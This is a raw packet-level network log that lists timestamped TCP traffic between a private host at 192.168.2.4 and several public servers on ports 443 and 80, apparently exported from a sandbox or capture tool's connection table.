Apr 26, 2024 10:00:14.902889967 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.946273088 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:15.231993914 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:15.232085943 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:15.232135057 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:15.233232021 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:15.233247995 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:15.821981907 CEST	49723	80	192.168.2.4	199.232.214.172
Apr 26, 2024 10:00:15.822082043 CEST	49724	80	192.168.2.4	199.232.214.172
Apr 26, 2024 10:00:15.975956917 CEST	80	49723	199.232.214.172	192.168.2.4
Apr 26, 2024 10:00:15.976006031 CEST	80	49723	199.232.214.172	192.168.2.4
Apr 26, 2024 10:00:15.976120949 CEST	49723	80	192.168.2.4	199.232.214.172
Apr 26, 2024 10:00:16.134284019 CEST	49724	80	192.168.2.4	199.232.214.172
Apr 26, 2024 10:00:16.231625080 CEST	80	49724	199.232.214.172	192.168.2.4
Apr 26, 2024 10:00:16.234443903 CEST	49724	80	192.168.2.4	199.232.214.172
Apr 26, 2024 10:00:16.265551090 CEST	80	49724	199.232.214.172	192.168.2.4
Apr 26, 2024 10:00:18.061018944 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.061088085 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.061178923 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.061737061 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.061774969 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.194644928 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.194729090 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.194832087 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.195394039 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.195427895 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.233746052 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.276148081 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.410022974 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.410331011 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.410348892 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.410804033 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.411393881 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.411393881 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.411415100 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.411474943 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.451170921 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.451386929 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.451417923 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.451483965 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.451708078 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.452008963 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.452074051 CEST	443	50036	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.499141932 CEST	50036	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.675414085 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.675689936 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.675779104 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.675817966 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.675874949 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.675967932 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.676029921 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.676050901 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.676116943 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.676129103 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.676330090 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.676389933 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.677077055 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:18.677105904 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:18.742840052 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.742906094 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.742963076 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.743045092 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.743072033 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.743082047 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.743141890 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.743186951 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.743186951 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.754897118 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.759083986 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:18.759152889 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.759280920 CEST	50035	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:18.759314060 CEST	443	50035	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:19.155855894 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:19.155986071 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:19.156056881 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:19.243300915 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:19.243347883 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:19.402808905 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.402868032 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.402955055 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.403347015 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.403376102 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.676847935 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.677159071 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.677227020 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.678870916 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.678942919 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.680952072 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.681041956 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.681535006 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:19.681552887 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:19.727634907 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:20.219891071 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:20.220199108 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:20.220511913 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:20.221146107 CEST	50037	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:20.221199036 CEST	443	50037	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:20.606328964 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:20.606419086 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:20.606508017 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:20.607131004 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:20.607182980 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:20.867333889 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:20.867367983 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:20.867453098 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:20.867847919 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:20.867858887 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:20.898525000 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:20.898587942 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:20.898691893 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:20.899110079 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:20.899142027 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:20.997431993 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:20.997793913 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:20.997850895 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:20.998246908 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:20.999995947 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:21.000068903 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.000355959 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:21.000396967 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.000421047 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:21.000473022 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.219896078 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.225662947 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.225689888 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.226133108 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.227425098 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.227513075 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.227977991 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.272109985 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.300595999 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.301089048 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.301137924 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.301620007 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.303703070 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.303795099 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.303982019 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.348110914 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.387368917 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.387434959 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.387816906 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.388303995 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.388334990 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.564629078 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.565120935 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.565213919 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.565217018 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.566543102 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.576155901 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.576256037 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.577323914 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.577435017 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:21.577450037 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.577553034 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.577600002 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.577615976 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.577699900 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.577745914 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.577750921 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.578356981 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.578361034 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.582914114 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.583574057 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.583584070 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.585412979 CEST	50038	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:21.585450888 CEST	443	50038	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:21.587110043 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.587203026 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.587213039 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.596752882 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.596849918 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.596859932 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.623217106 CEST	50040	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:21.623255968 CEST	443	50040	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:21.647751093 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.647999048 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.648021936 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.648926020 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.648993015 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.649302959 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.649358988 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.649561882 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.649573088 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:21.649682045 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.649692059 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.696567059 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.696919918 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:21.735410929 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.738279104 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.738379955 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.738442898 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.738467932 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.738516092 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.748274088 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.759581089 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.759685040 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.759692907 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.774648905 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.774734974 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.774795055 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.774804115 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.780178070 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.782360077 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.793162107 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.793257952 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.795243025 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.795252085 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.798448086 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.803019047 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.813004971 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.813112020 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.814498901 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.814507961 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.818777084 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.822726011 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.832696915 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.832783937 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.834851980 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.834861040 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.837275028 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.842453003 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.842628002 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.843012094 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.843019962 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.857569933 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.857625961 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.857633114 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.857935905 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:21.857995987 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.858263016 CEST	50039	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:21.858273029 CEST	443	50039	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:22.199557066 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:22.199687004 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:22.199765921 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:22.966424942 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:22.966461897 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:22.966542959 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:22.967061043 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:22.967077971 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:22.970035076 CEST	50042	443	192.168.2.4	172.67.209.50
Apr 26, 2024 10:00:22.970093012 CEST	443	50042	172.67.209.50	192.168.2.4
Apr 26, 2024 10:00:23.322148085 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.368782997 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.590686083 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.590707064 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.591238976 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.592894077 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.592967033 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.593476057 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.601093054 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.601171017 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.601249933 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.601619005 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.601664066 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.636121988 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.748797894 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.748836994 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.748863935 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.748884916 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.748893976 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.748940945 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.748949051 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.759260893 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.759294033 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.759303093 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.759310961 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.759351015 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.770024061 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.775298119 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.775343895 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:23.775413036 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.775614977 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.775626898 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:23.780817986 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.780839920 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.780860901 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.780869007 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.780904055 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.791555882 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.791568041 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.791575909 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:23.791629076 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.791903973 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:23.791919947 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:23.837409973 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.902582884 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.907900095 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.907962084 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.907968998 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.907980919 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.908071995 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.910340071 CEST	50043	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.910353899 CEST	443	50043	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.916445017 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:23.916465998 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:23.916516066 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:23.916821957 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:23.916835070 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:23.932261944 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.932485104 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.932535887 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.933680058 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.934130907 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.934274912 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:23.934287071 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.934315920 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:23.978010893 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.153954029 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.154278994 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.154295921 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.154625893 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.155066013 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.155066013 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.155082941 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.155124903 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.176907063 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.177150011 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.177175999 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.178261995 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.178678036 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.178678036 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.178845882 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.196423054 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.221225977 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.298373938 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.298605919 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.298625946 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.298970938 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.299535990 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.299535990 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.299549103 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.299591064 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.313261032 CEST	443	50044	142.250.217.228	192.168.2.4
